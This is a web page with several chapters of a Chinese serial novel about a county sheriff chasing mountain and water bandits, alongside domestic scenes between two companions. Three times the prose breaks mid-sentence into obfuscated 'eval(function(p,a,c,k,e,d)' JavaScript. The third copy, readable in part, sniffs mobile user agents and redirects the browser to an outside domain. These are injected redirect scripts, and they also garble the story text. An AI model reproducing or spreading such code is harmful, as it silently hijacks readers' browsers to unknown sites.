“城外的地形图,今天在山上追山匪的踪迹,追到一处水潭边上踪迹就消失了,有个弓兵说了句‘他们总不能在水下吧’,倒是提醒我,说不定这水潭下面有出口,通向山的另一边,那些山匪的据点可能就在那儿。” “有道理,那地形图上能看出来什么吗?” “看了半天,没找到这样的地方,也可能是制图不全,没人发现过那处地方。哎,总之明天早点再去一趟,下水去探个究竟。” 64.潭中暗流 清晨,宋准点完卯就带着十几个弓兵,备好了绳索和兵器出城进山,行了一个多时辰才到了那个水潭边。 此时太阳正升起,周围的山头挡住了大部分阳光,这水潭周围并不很亮,林中鸟兽叫声此起彼伏,却衬得四周更加寂静。 李二郎上前去摸了摸那潭水,不甚放心地说:“县尉,这潭水太凉,弟兄们怕是不好直接下去,不如先在岸边生堆火吧。” “可以,上了岸烤干衣裳,不至于冻坏了,去捡些干柴吧,上背风处点,别叫烟气升太快,万一匪徒真在这山后面,看见烟便知道这边有人了。” “是,县尉思虑周全。”李二郎道。 两个水性好的弓兵在岸边脱了甲胄和上衣活动身子,绳索拴在他们腰上,另一头留在岸上,由其他人牵住,若是水下有什么不对,拽住绳索就能将他们拉回来。 他们下了水,宋准守在跟前盯着,潭水清澈,能看见他们二人往下潜了多深,检查一圈,闭不住气了便上来,换口气接着下去探查。 这么来回几次,那两个弓兵便冒出脑袋说:“县尉,水下有暗流,是往山体里面去的,是否要去查看一下?” 宋准思索了一下,问:“有把握吗?要是实在危险,不去也可。” “不太敢确定,不过这水流并不急,应该没什么大碍。” “那便去吧,一旦发现不对劲,就拉绳子,我们把你们拽回来。” 那两个弓兵应了声好,便再次潜了下去,顺着暗流的方向找到了一处山洞,水流向里流去,山洞倒宽敞,约莫有个六七尺,里头很暗,看不清什么。 浮上水面换口气,便进了那山洞里,没游多久,竟看到了向上的一处出口,周围有亮光,似乎还有人影在,两人在水下对视一眼,立刻往回游去。 “县尉!那里面有人!” 那两个弓兵一上岸,就把看到的都告诉了宋准,水道尽头的光亮,是火把的光,并非是天光,有人影在火光中晃动,似乎还有人在说话。 宋准听了,面色有些凝重,说:“这多半是匪徒的老窝了,有人看守,若是贸然过去,必然是上岸一个死一个,这条路走不通,那就上山看看。你们先去烤烤火,别受风寒了。” 宋准说完,抬头看了看这附近,水潭两面山体高几十丈,十分陡峭,要攀上去多半是不可能的了,只有从旁边绕绕,找个好攀的地方上去瞧瞧。 “二郎,随我先去看看这附近的地形,翻过这山看看后面到底是什么。” 李二郎应了一声,背上弓和箭筒,抬头看看山形,指着西边说:“县尉,走这边,山势向低处走了,走这边能翻过去。” 跟着李二郎又走了约莫两刻钟,终于见到稍微平缓些的山体,攀住藤蔓和树干爬上去,再向东往回走,走到了那水潭附近再向北走,却并未见到什么匪寨。 “怎么回事儿?是春生和柱子看错了?”李二郎嘟囔了一句,春生和柱子正是刚才那两个弓兵的名字。 宋准摇摇头,说:“应该不会,潭底本就漆黑,不会连火光都看错,若匪寨没在山那头,那多半就是在山洞里了,只是不知道除了水潭,还有没有别的入口。先回去吧,此事不好贸然行动,回去问问县令,看看应该如何处理。” 二人顺着山脊原路返回,叫上在水潭边等候的弓兵们回了城,到衙门的时候刚错过了午时饭点儿,好在衙厨给他们都留了饭,宋准吃完饭便去找到了县令,将今日的发现都告诉了他。 县令听了,眉头久久没有舒展开,他说:“除了水潭,真就没有别的路进去?怎么会有这么刁钻的窝点。” “想必还是有的,只是我们没有发现。但下官和李二郎已经将周围都勘查过,并未看见有山匪活动的痕迹,若是想要从那水潭进去,应该会很困难。依下官所见,除非举着盾牌游过去,否则伤亡肯定会很惨重。” “可是举着盾牌要怎么游?一面轻盾都少说三四十斤,还怎么浮上去?”县令摇了摇头,叹口气,“再等等吧,想想办法,山匪若是将瑶寨的男女老少一并抓去,应该不会急于要灭口,多半是抓去壮大势力或者是叫他们做苦力的,暂时不会有什么大问题,这几日你想想办法,确保万无一失再进山。” “是,下官明白了。” 宋准迈着沉重的步子离开,始终想不出一个好办法,只能先到架阁库去翻翻卷宗,看看从前的县尉们都是如何剿匪的,能不能借鉴出些经验来。 剿匪的记档都存在一处,宋准挨个翻过去,都是些比较常规的案子,借鉴不出什么来,于是一边收拾一边唉声叹气,不小心碰到架子,掉下去一本放得不太稳的卷宗。 捡起来看看封面上,写着“凤凰山盗墓案”,顺手翻了翻,看见里面写着几年前在山里抓获的一伙盗墓贼,从他们手上缴获了一堆盗墓所用的物件,后都存在了库房里。 宋准原本没当回事,正准备放回去,却瞟到里面写的赃物单子,有一个叫金刚伞的东西。 “金刚伞是什么伞?是铁做的伞?”他心里想着,有些好奇,便收起卷宗去库房里找,找了半天也没找到,问了看管库房的衙役,衙役说很多没用的物件年前都统一拿出去卖了充公,现下是没有了。 他无奈地回架阁库去,将那盗墓案的卷宗仔细看了看,盗墓贼的口供里讲述了每件物品的用法,其中这金刚伞便是能抵挡墓中机关,由玄铁打造,不用时能像伞一样收起,用时只需要撑开就行了。 真是想什么来什么,若是能打造出一把金刚伞,不就能代替沉重的盾牌,进入那水潭中了吗? 只是他在此之前从未听说过这种东西,也不知道应该找什么匠人来做,究竟是铁匠还是伞匠?只凭卷宗中的只言片语,他也没法凭空想象出这么一个物件来,于是便准备回去问问令狐朝和柳晏。 他们二人行走江湖多年,见多识广的,多半都听说过这种东西,要是没听说过,也能让柳晏叫人出去打听打听。 这会儿时候还早,柳晏肯定还在茶馆里,宋准一路过去,直接上楼找他,果不其然,他还坐在窗边一边吃南瓜子一边听书呢,可巧,那说书人说的仿佛正是盗墓的事儿呢。 “诶,惟衡,你回来啦?快来快来。”柳晏看见他就十分高兴,忙不迭招呼他坐下,“怎么样?水潭下面是什么?” “水潭下面有水道通往山体里面,弓兵看见里面有火光,还有人在看守,所以不敢贸然上去。我来正是为了这件事,你可听说过金刚伞这种东西?” “金刚伞?盗墓贼用的那个?” “对,正是。我在从前的案宗里看见的,说是由玄铁打造,能像伞一样收起来,撑开时能挡墓中机关。我想着,若要安全地从那水道里出去,总得举着盾牌上,不然山匪一旦杀来,肯定是出去一个死一个,但盾牌那么重,拿着盾牌便不好凫水。可若是能有把金刚伞,凫水时收起,要上岸时再撑开……” “哦!我懂你的意思!这东西我从前确实见过,要打造这伞可不易,少说也要个把月,还要找技艺精湛的铁匠……”说到这儿,他撑着下巴思索了一下,转转眼珠子,似乎想到了什么,眼里瞬间亮起来,“别担心,我替你去寻!我知道在哪儿能找到这东西。” “在哪儿?”宋准听他说的,也有些兴奋,“你可以告诉我地方,我自己去便是,哪能次次都麻烦你呢。” “哎,别跟我客气,不是不叫你去,是因为那地方,嗯……你去不合适。总之你别担心,你等我半个月,我派人去,你就把心放肚子里,啊。” 柳晏眯眼笑着,很是明媚,伸手在宋准肩上拍拍,又说:“要不要留下玩一会儿,今日可还有公务吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳晏将手背在身后,左右摇晃着身子,语气都像在飞似的:“我看见的呀,今早在市集上,有几个渔人拿来的鱼格外新鲜,他站在摊子前面都快走不动道了。” “哈哈哈,令狐兄怎么这样喜欢鱼,他不是在西北长大的吗?” “人的口味总是会变的嘛,他从前喜欢羊肉,说这世上没有比羊肉更好的东西了,我瞧他在南边又让鱼迷得死死的,也没再吃过羊,你若现在问他,他定要说,没有比鱼更好的东西了。” 说着话已经到家门口了,刚一进院子就闻见扑鼻的香气,宋准去堂屋了,柳晏快跑几步进了厨房,一把抱住了站在锅边照看火候的令狐朝。 “啊!”他被吓了一跳,反手擒住柳晏的胳膊向前一转,竟把他胳膊卸下来了,“怎么是你?不打声招呼就跑进来,你这条命还要不要了?” 柳晏甩甩胳膊,笑着说:“不是故意的嘛,想开个玩笑,没想要吓到你的,喏,胳膊掉了,帮我接回去嘛。” “你自己不会接吗?还开玩笑,我要是把你摁锅里了怎么办?你这张脸还要不要了?”嘴上虽然这样说着,他还是把柳晏的胳膊接了回去,又按住肩膀转了转,确定没问题了才松开。 “嘻嘻,你锅里炖着鱼,你怎么会舍得毁掉你的鱼呢,我这么漂亮,你又怎么舍得毁掉我的脸呢?” “是,还好你长了一张这样漂亮的脸,否则哪能活到今天。”令狐朝翻了个白眼儿,掀开锅盖看了看,水汽蒙了眼睛,他吹散了那些水汽看着锅里,鱼炖得正好,他十分满意地把锅盖盖上。 柳晏歪着脑袋凑到他面前问:“熟了吗?可以吃饭了?” “可以了,去盛饭去,小锅里有粥,你盛出来先放一边,我一会儿给阿贵送过去,你和惟衡饿了的话就先吃,不用等我。” “不等你?怎么能不等你呢?你是要背着我搞什么?我不允许!” “没要搞什么。阿贵身上的伤要换药,可能会久一些,惟衡今日忙了一天,就别等我了,怕饿坏了他。” “哦,这样啊。”柳晏敷衍地答应着,端着碗就往堂屋去,叫宋准一起去端鱼。 令狐朝在厨房收拾着碗筷,就看见柳晏过来时不正眼瞧他,撅着嘴一副气鼓鼓的模样,他没忍住笑了,知道这傻孩子又在吃些莫名其妙的醋,却也没去问他,他晚上定会来质问的。 65.九音钟 夜里骤然变冷了,柳晏身上的旧伤有些隐隐作痛,却仍披着件薄纱衫子坐在妆台边上梳头发,看着铜镜中的自己,眉眼如画,唇似朱砂,挑不出任何毛病的一张脸,可为什么晦言偏偏不喜欢呢? “在发什么愣呢?穿得这样少,风寒了怎么办?”令狐朝端着一盆热水进来放在了床边,问他,“要来泡泡脚吗?” 柳晏没转身,只低头看着铜镜里令狐朝模糊的影子:“阿贵泡过了吗?” “嗯?”令狐朝有些疑惑,随机又笑出了声,走到他身边把手撑在妆台上看他,“怎么了?连这种醋也要吃?只许对你好,不能对旁人好?” “没吃醋。我像是会因为这种事情吃醋的人吗?我想要什么就有什么,想和你睡就能和你睡,我为什么要吃醋?” 他梳理着有些打结的发尾,从瓷瓶里倒出桂花油来抹上,香气扑鼻,只看着镜中的自己,并不抬头去看令狐朝,眼尾余光瞥见令狐朝撑在妆台的手,修长白皙,骨节分明。 下一瞬,这只手扳住了他的下巴,让他扬起了脸,手的主人说:“是吗?那你既说不是,那便不是。穿得这样少,是想冻病了让我伺候你?” “不是,你松手。”柳晏伸手去掰,却纹丝不动,又想要张嘴去咬,却看见他手腕上一道旧伤——是幼时他把自己抱回帐中时自己不识好歹发了狠咬出来的,忽然就泄了力气,只能把眼睛转向别处,两行泪又顺着脸颊滑了下来。 看见他落泪,令狐朝松了手,拿起边上的丝巾要替他擦,却被他伸手拂开,道:“别说话了,我要睡了。” 说完他起身上了床,扯过被子盖上,背对着他缩在角落里,无声地抽泣着,肩膀一抖一抖的。 令狐朝看着他那模样,十分无奈地笑了笑,坐在床边泡了脚,倒了水收拾完,吹灭了灯,上床躺在了他身边,抬手在他身上哄孩子似的轻轻拍着,安静许久,柳晏才终于翻过身来。 “怎么哭得这样伤心?是又想到什么了?还是旧伤又痛了?”令狐朝轻声问道,手还搭在他身上轻拍着,黑夜里,他的两眼亮晶晶的,就那样看着他。 “真的是因为我去照顾了阿贵吗?”他又问。 柳晏吸了吸鼻子,把手从被子里拿出来,紧紧握住了令狐朝的手。 “我恨你,也恨我自己。”他说。 窗外风声大作,一束闪电照亮了一瞬黑暗,紧接着一声炸雷响,雨落了。 反应过来的时候,柳晏已经颤抖着缩进了被子里,靠近了令狐朝身边。他掀开被子一角问:“二十好几了怎么还像小孩儿似的怕打雷?要点上灯吗?” “嗯。”他在被子里点头。令狐朝把被子给他捂上,起身去拿了火折子,将床边的两盏灯点亮,暖黄的烛光下,柳晏透过被子的缝隙看到他胸前的旧伤,心里却像刀绞一般。 又过了许久,雷声已经很久不再响,雨点打着窗外树叶,很吵,却显得屋里格外安静。 柳晏掀开被子探出脑袋,面对着令狐朝,灯光摇曳,他眼里的神色晦暗不明,令狐朝微笑着问他:“恨我倒无妨,怎么又恨自己了?现在可愿意说了吗?” “我……”他垂下眼,一排长睫毛挡住了眼里的情绪,他说,“晦言,我恨我那样爱你,有时候我想让你只为了我活着,想让你心里眼里都只有我,可我又凭什么让你这样……” “我们从小一起长大,你解开了捆住我脖颈的铁链,你把我从营帐外抱了回去,你告诉我别怕,有你在,我不会再被那样拴在外面。我的伤好了,留了那样丑的疤,你说没关系,瑕不掩瑜……” “后来长大了,我们一起出任务,出生入死那么多次,我们是一直在一起的啊!我不能没有你,失去你只会比死更叫我难受!” “晦言,为什么这世上要有那样多的人,为什么总有那么多人需要你,为什么我总是狠不下心,我总是贪得无厌,为什么……” 说到这里,他已经泣不成声,用手捂住脸压抑着哭声,泪水从指缝中溢出,一如窗外檐下的雨珠。 令狐朝拍哄他的手顿住,伸到他脑后揉着他的脑袋,指尖触到了他颈间的疤痕,有半寸宽,凹凸不平的,蜿蜒着绕了一圈。 他凑近了些轻声说:“因为稚言是极好的人,他知道什么事情该做,什么事情不该做,会不遗余力地帮助别人。你想的我都明白,我们是一直在一起的,从前是,现在是,以后也是。” “哭吧,别强忍着,哭完了就好了。你会恨自己,不是因为你贪得无厌,你也一点都不贪心啊。你又怎么知道,我活到今天不是因为你呢?你只是有些事情没有想明白,想问的,你便都问出来,我会一一回答你。” 他再也不压抑自己的哭声,伸手紧紧抱住了令狐朝,头埋在他肩窝里,眼泪打湿了他的里衣。 令狐朝的手在他背上拍哄着,说:“嗯,哭吧哭吧,哭完了就好了。” 雨声依旧那样大,丝毫没有要减弱的迹象,柳晏的哭声却渐渐小了,他又吸了吸鼻子,轻轻推开令狐朝,枕回自己的枕头上。 “晦言,我是不是太任性了?”他小声问。 令狐朝轻笑了一声,轻轻揉了揉他的脑袋:“任性说明你足够信任我,我很欢喜。” “是我不好,我总这样闹,你都没有厌烦我,我应该明白的。” “这是什么话,我为何要厌烦你?你闹也好,不闹也好,我知道你是这样的性子,自然不会因为这个厌烦你。好了,哭了这样久,可困了吗?要睡觉吗?” “还好,不太困。惟衡需要金刚伞,我答应他帮他去寻,这几日你也很忙,我今日不该这样闹的。”他垂着眼,语气里都是自责。 令狐朝又揉了揉他的脑袋:“你闹一闹,好叫我知道你心里在想些什么乱七八糟的东西,你若不闹,我才觉得怪了呢。” “晦言……”柳晏握住了他的手,牵着覆在了自己脸上,“你越这样说,我越觉得自己可恶了……” “哪里可恶了?别这样说自己,你不是可恶,是傻得可爱。”说到这儿,他打了个哈欠,“你不用压抑自己的情绪,心里想什么,便跟我说什么,什么都不要隐瞒,看着你难过,我不会开心。” “嗯。”他点了点头,松开了令狐朝的手,“今晚可以不灭灯吗?我想看着你。” “你不睡觉了?明日不是还要帮惟衡去寻金刚伞吗?” “睡,只是睡之前,想一直看着你。” 令狐朝无奈地笑了笑,在他脑袋上揉了揉:“好,那也早点睡,明日多穿些,你冻病了,我也会心疼。” 柳晏点点头,没再说话,就那样看着他闭上眼睛,不知雨又下了多久,也不知是什么时候睡着的,清晨醒来时,令狐朝已经离开了。 厨房里热气腾腾的,令狐朝和宋准正将早饭端出锅。 “惟衡,你今日要做些什么?”令狐朝问。 “唉,我也不知道,县令说了,没有万全的把握不要轻易进山。今日的话,去练练兵好了。昨日我看稚言似乎不大高兴,是怎么了?” “没事儿,他小孩子心性,已经哄好了,别担心。” 宋准笑了笑:“我瞧着他倒是很依赖你呢,昨日该不会是因为你去照顾阿贵,所以他吃醋了吧?” “惟衡!你在说我什么!”柳晏气鼓鼓地站在厨房门口,皱眉盯着宋准。 “哈哈哈哈哈哈……”令狐朝一副唯恐天下不乱的样子笑了起来,“他说你吃飞醋。” 柳晏迈进厨房,走到宋准身边,说:“我就是吃醋了,晦言哄了我一晚上,哄好了。下回再吃醋,便要你哄我。” “啊?”宋准露出个疑惑至极的表情转头看他,“说什么呢,你睡醒了吗?” “睡醒了,这就是你在背后说我的代价,哼。听到你说今日要练兵,还不快多吃点吃饭去点卯?今日我练不死你。”柳晏勾唇邪笑着,在他屁股上拍了一掌。 “啊!柳稚言!”宋准捂着屁股往边上闪过去,反应过来要追上去打回来,他却一溜烟儿跑没影了。 令狐朝在边上笑着,说:“好了,别管他,先吃饭吧,你是得多吃点儿,这几日到处跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋准皱紧了眉头,问白兔:“白兔,你是在哪儿抓到他的?” 白兔说:“在城外,我去找青雀前辈,谁知这小子就在渡口那儿鬼鬼祟祟的,我看他不对劲儿,在旁边听他跟那个人说话,才知道他在传递消息。那个人跑得太快了我没抓住,只把他绑了回来。” “阿贵,他说的可属实?你为什么要给山匪传递消息?不是他们屠了你们的瑶寨吗?”宋准走上前问,他却半天不发一语。 柳晏捏紧了拳头忍了半天了,把手边的镇纸拿起来狠狠拍下,险些将那青石镇纸拍成两截了,他大吼道:“好你个忘恩负义的东西,敢做却不敢当?亏我们将你带回来,好吃好喝地养着,现如今伤好了,便要吃里扒外了?” “稚言,没事儿,随我来。”令狐朝揽住了他的肩膀,带他离开了书房,出门前给了宋准一个眼神,宋准会意,点了点头。 “你说说,为什么要这么做。”宋准靠在书案边,居高临下地看着阿贵,他的发髻还被白兔拽着,整个人向后仰,手垂在身前,眼睛看向一边。 白兔拽着他的发髻晃了晃他的头:“县尉在问话,听不到吗?” “消息是我传的,治我的罪就是,没什么好说的。”阿贵的身子不受控制地往白兔身上靠,他是跪着,但腿上的伤怕是不能久跪的。 “山匪屠了瑶寨,抓走了寨子里那么多人,生死不明,你却要替他们做事,是他们用你的家人威胁你了?”宋准又问。 “我没什么家人,他们威胁不到我。”阿贵说。 白兔有些气愤,用膝盖顶了他一下,抬头看着宋准道:“县尉,你听,他这不就是说他是自愿的,实在可恶!” “白兔,莫为了这种人动气。随我先把他关到牢里去,我连夜审问。” “是。”白兔点了点头,把阿贵从地上提起来,押着往县牢里去,宋准走在前面,思索着应该如何处置他,还没走到县牢,就听城中的九音钟响了——城外有山匪劫道! “白兔!拿我令牌快去衙门叫人,我把他带去牢里,很快就回来!”说着,宋准解下腰间令牌递给他,押着阿贵就往县牢的方向去,但阿贵腿上有伤走不快,宋准便只能将他背起,直到将他交给了狱卒,这才迅速离开。 县衙门口,白兔已经集结了二十名弓手,整装待发,在九音钟处看守的哨兵也将准确的敌情送来,北门外十里,有商队被劫。 66.蛊成 明月高悬,宋准带着二十名弓兵往北城门外去,到了地方却发现什么都没有,商队,山匪,货物,哪怕连一点打斗的痕迹都没留下,月光明亮,地上甚至没什么车辙。 弓兵们面面相觑,都不知该作何反应,李二郎站出来问道:“县尉,是不是消息传错了?” 宋准看着平整的路面,说:“应该是,幸好不是真的有商队被劫,回去吧,今夜白跑一趟,辛苦你们了。” “县尉这是说的哪里的话,我等拿俸禄,这是该做的呀。” “回去吧,这件事可能没那么简单。”宋准的表情有些凝重,似乎已经猜到了什么,回去路上的脚步比来时更加急促,经过衙门时他只说叫众人都散了回去,自己一个人去了县牢。 在门口就看见几个看守的狱卒也都倒在地上不省人事,铁链铁锁和钥匙都扔在地上,牢门大开,阿贵早已不知所踪。 “调虎离山,好啊……”宋准冷笑了一声,一拳狠狠地捶在了牢门上,转身回家去找令狐朝来查看狱卒的情况。 令狐朝一直在给柳晏顺毛,他被阿贵气得不轻,再加上前些日子看令狐朝那样无微不至地照顾阿贵,他心里不满许久了。 见到宋准回来,他们二人都很吃惊,柳晏转头问:“惟衡?怎么回来得这么早?不是城外有山匪吗?” “中计了,没有商队被劫,阿贵逃了。” “什么?!”柳晏闻言瞬间暴起,“我就说他不是什么好东西,惯会装可怜博人同情,当细作敢当到我眼皮子底下,别叫我抓到他,我要把他碎尸万段!!!” “哎呀好了好了,别为那种人生气。”令狐朝把他摁到榻上,在他后背上轻抚着,又转头对宋准道,“是不是有人受伤了?” “对,几个狱卒都晕倒了,令狐兄随我去看看吧。” “好,我去拿药箱,稚言要一起去吗?” 柳晏一副气鼓鼓的模样,瞪着眼说:“不去!看了就生气,你们自己去吧。” 令狐朝笑着揉了揉他的脑袋,去书房拿了药箱,便和宋准去了县牢。 好在一番检查过后,狱卒们不过是中了些迷药,令狐朝给他们施过针后便都转醒了,宋准问他们在昏迷之前发生了何事,他们却也都支支吾吾说不出来。 “究竟是怎么回事儿?若再不说,明日我回了县令,通通打二十大板!” 宋准这么一威胁,他们才终于肯说,是有一个十分貌美的姑娘过来,说是迷路了找不到方向,来问路,他们刚一靠近了说话,那姑娘就从袖中掏出块帕子来朝他们脸上一扬,便都不省人事了。 “我真是不知道拿你们怎么办好,一个姑娘,深更半夜,有什么路找不着需要跑到县牢门口来?我瞧莫不是你们一个个色迷心窍,才这样中了人家的计!” 宋准气得拍桌子,令狐朝这才瞧见他手上破皮出血的伤,过去把他手拿起来问:“你这是又拿什么东西撒气了?自己手都伤了不知道吗?” “牢门。”他说,“气糊涂了,算了,你们几个回去吧,今后好好当差,做事机灵着点儿,明日我便去向县令请罪。令狐兄,走吧。” 回去的路上,令狐朝嚼了些草药给宋准敷在手上,又用纱布给他包扎好,说:“你可真是有意思,撒气就撒气,把自己手弄成这样,你是明日不练兵了?” “令狐兄别打趣我了,我就是有些气糊涂了,没想那么多。唉,消息怎么会传错呢,真是怪了。” “有人报假案,也不是消息有没有传错的事儿,下回出兵前,应当先派人查看敌情是否属实,若是真的,你再带人过去,若像今日这般是假的,也不会损失太多。” 宋准仰头叹了口气,十分无奈地说:“令狐兄说得是,也是我心太急了,多日没有匪徒出没,这脑子便不会想事儿了。” “无妨,吃一堑长一智,这个教训今日吃了,往后谨记在心,便不会再犯。”令狐朝在他肩膀上拍了拍以示安抚,又理了理要滑落的药箱带子,宋准看见了,便把药箱接过来挎在了自己肩上。 次日一早,宋准便去向县令请罪了,被罚了两个月的俸禄,要他谨记教训,并要尽快将那窝山匪剿灭,他便下了军令状,一个月之内将匪徒清剿,否则就辞官还乡。 柳晏知道这件事之后直说他太冲动,若是真没剿清山匪,那岂不就是前功尽弃了? 但宋准却十分有把握,眼神坚定得像要冒火:“放心,这个月要么他们全死,要么我死,我就算是死了,也不可能放过他们!” 又过了几日,宋准放值回去的时候,又看见令狐朝和柳晏蹲在院子里围着什么东西在看,似乎是个坛子。 “稚言,令狐兄,你们在看什么呢?”他走过去问道。 柳晏抬起头十分欣喜地说:“晦言的蛊虫成啦!快瞧!” 坛子里只剩下两只毒虫,其他的虫子都已被分食,令狐朝说:“一般来说的话,这应该就是成了,之后只要好好养着就行了,只是还不知道应该拿来干什么。” “看谁不顺眼就下他身上。”柳晏的语气十分兴奋,眼里亮光一闪一闪的,期待地看着令狐朝的脸。 宋准点点头说:“好主意。只是干这种事情会损阴德吧,而且这虫子应该怎么养呢?” “我不怕损阴德,做了那么多年刺客杀那么多人,阴德早就损完了,你们看谁不顺眼,我去下。” 令狐朝用胳膊肘碰了一下他:“啧,说什么呢,这是能随便拿来害人的吗?这开始得用我的血认主,你怎么下?” “这还不简单?你不有两只吗,给我一只,用我的血认主,你自己留一只,拿去治病救人,这不就好了?” 令狐朝沉默了半晌,从坛子里夹出一只蛊虫放进另一个小罐子里递给他:“拿去吧,别乱用啊,用不好的话会反噬的,到时候死相凄惨,脸也不漂亮了。” “啊?这么严重?那算了,还是你留着吧,你用这个治病救人的话,应该就不会被反噬了吧?”他把手背到身后去不接那只小罐子,好像里面是什么洪水猛兽似的。 宋准没忍住笑了,起身往堂屋去——令狐朝今日不知做了什么好吃的,老远就闻见香味儿了,他要先去饱一饱口福。 夜里,柳晏神神秘秘地把宋准叫到他房里,让他坐在书案边,从柜子里拿出一个有两尺的细长包袱来,放到了宋准面前。 “猜猜这是什么?”他脸上带着笑,手撑着下巴很期待地看着宋准。 “是什么?难道是……金刚伞?”宋准瞪大了眼睛,看到柳晏笑着点头,激动地直接从椅子上跳了起来。 “天尊啊,稚言!你就是我的大恩人!等这次剿匪成功,我请你去酒楼吃大餐!” 柳晏却只是笑着在他肩膀上拍拍:“你月俸都被扣了还要请我吃饭呀?没关系的,我愿意为你做这些,能帮到你就很好了。” “何止是帮到我,简直是救我的命!”宋准激动万分,小心翼翼地把金刚伞从伞袋里拿出来撑开,十分欣喜地转着看了又看,爱不释手。 “要不要试试好不好用?我刚拿到的时候也惊呆了,用刀剑劈过,毫无损伤。” “好啊,我试试!”宋准说着,将伞柄递给柳晏,拔出佩剑向伞面劈砍下去,手都被剑柄震得发麻,伞面却毫无损伤。 柳晏从伞后探出脑袋:“好大的力气啊惟衡,我手都要震麻了。如何?是不是非常合适下水进贼窝?” “是,实在是太合适了。这伞也不重,如何能做到这样坚硬?” “这我就不知道了,总之现在拿到手,你用就是了,不用管那么多旁的。只是有一点,不要拿到街市上让人看见,恐有心之人说这是盗墓的家伙,给你安些莫须有的罪名。” 宋准点了点头:“好,我明白了。但我也不想把它留在衙门,说不定哪日清理库房又把这东西给贱卖了。等用完了我拿回来给你,你收着它。” “嗯,好。”柳晏将伞收起放回伞袋,递给宋准,“那现在你就拿着吧,若你剿匪需要我和鬼樊帮忙,不要客气,尽管开口就是。” “会的。多谢你,稚言。” 第二日刚点完卯,就收到了枢密院送来的文书,是一封海捕令——耒阳县丞的家眷前些日子出行途中被水匪劫掠,枢密院要全州通缉匪首彭十八。 这窝水匪十分嚣张,在他们乘坐的船只上悬挂龙虎旗,自称龙虎帮,其匪首更是杀人留名,总会在劫掠船只商队后在他们的船上车上刻下“彭十八”三字。 县令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801604|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,若宋准能将这伙水匪剿灭,生擒彭十八的话,今后的仕途肯定一帆风顺,他自己也能沾沾光,兴许任期满了就能升官了。 宋准看着他一脸兴奋的样子,心里想着这些事儿不都得自己去干,但想到那天立的军令状,还是规规矩矩地行了礼,准备带人进山下水潭。 带着人刚出了城门,就看见有几人匆匆忙忙地往他们的方向跑过来,看着像是鱼贩,一见到宋准,为首的一人就说:“县尉!不好了,涞水河滩那块儿有几艘商船沉了!” “什么?是在哪个河滩?” “是……鬼见愁河滩。” 鬼见愁河滩,是攸县人一直俗称的名字,那地方水流湍急,河滩却浅,在上面行驶的船只若掌握不好方向,很容易就被冲到浅处搁浅,而不远处深的地方却又格外深,若是不小心碰到礁石,又很容易沉。 水匪也格外中意这个地方,芦苇茂密好藏人,过路船只的注意力都在掌控方向上,不怎么会有人注意岸边芦苇丛中的匪徒。 而这一段水路又是通商往来的必经之路,渐渐地就有人开始称这片河滩为鬼见愁。 宋准带人跟着那几个鱼贩前往那片河滩,远远地就看见有几艘船以奇怪的姿态倒在河里,走近了才发现那船上还扎着不少箭矢,一看就是遭匪徒劫掠了,最大的一条船的船弦上,歪歪扭扭地刻着“彭十八”三字。 “彭十八?”宋准缓缓念出那个名字,手指抚过那新鲜的刻痕,心里浮现出一丝隐隐的激动来。 “好好检查一下船舱,看还有没有幸存者!若是有尸体,也一并抬出来!”他命令道。 众人一番搜寻过后,却并没有找到幸存者,倒是在甲板上找到了五具船工的尸体,宋准让他们把尸体都抬去岸上,派人回城去寻仵作。 李二郎有些支支吾吾地说道:“呃……县尉,城中的仵作这几日不在,告假了。” “告假了?啧,想起来了,是有这么一回事儿。”宋准无奈叹口气,说,“那这样,你让人去医馆请令狐先生来,就说我请他帮忙验尸。” “啊?令狐先生还会验尸?”李二郎一脸难以置信的模样瞧着宋准。 “让你去就去,他会的多着呢。” 等了半个多时辰,弓兵才带着气喘吁吁的令狐朝过来,他一来,就把药箱放在了地上,俯身撑着腿疯狂喘气,抬头瞧见宋准,说:“我说,你是不是有病啊?不能让人带匹马吗?” 宋准走到他身边轻拂他后背替他顺气儿,道:“现在没那条件了,令狐兄先忍一忍,等这回剿匪成功了,我便去买匹马。” “得了吧你,俸禄都被扣完了还买马,指望你还不如指望我自己。”他终于喘匀了气儿,站起身问,“尸体在哪儿呢?” 宋准一指河岸边的平坦处:“都在那儿了。” 令狐朝从怀里掏出记簿和记笔塞进他手里,说:“老规矩啊。” “好。” 宋准帮他把药箱拎过去,他从药箱里拿出麻布和手套来戴上,从最边上的一具尸体开始验起,一一唱报了每具尸体的年龄、死亡时间、致命伤以及其他伤处的大小尺寸,宋准将其都记录在了记簿里。 “令狐兄,怎么他们后颈处都有这种菱形的伤痕?这是什么东西弄出来的?” “我怎么知道?但这也不是致命伤,身上也没有以前那些玉蝉暗器的针眼,兴许是匪徒做的什么标记,杀了人就在尸体上留名。” “这窝匪徒竟这般嚣张?是笃定了我们拿他们没办法吗?又是在船上刻匪首姓名,又是在尸体上做这样的记号,实在是不把官府放在眼里!”宋准攥紧了拳头,越想越觉得气愤。 令狐朝倒是十分淡定,慢悠悠整理着他药箱里的东西:“莫急,常在河边走,哪有不湿鞋?留这么些线索,不就是给你大展身手的时候?为兄看好你哦。” “令狐兄,多谢你。”宋准深深吸了一口气,抬头看着不远处水流的方向——再往前不远,涞河在山崖下绕出葫芦状河湾,两岸绝壁如削,水匪不知藏身何处,要如何才能找到他们。 “县尉!这船里有东西!”一位弓兵喊道。 宋准转身望过去,问:“什么东西?” “好像是一封战书!” 67.雪夜困局 一封战书?水匪竟然能嚣张到在船上留战书,这分明就是不把官府放在眼里! 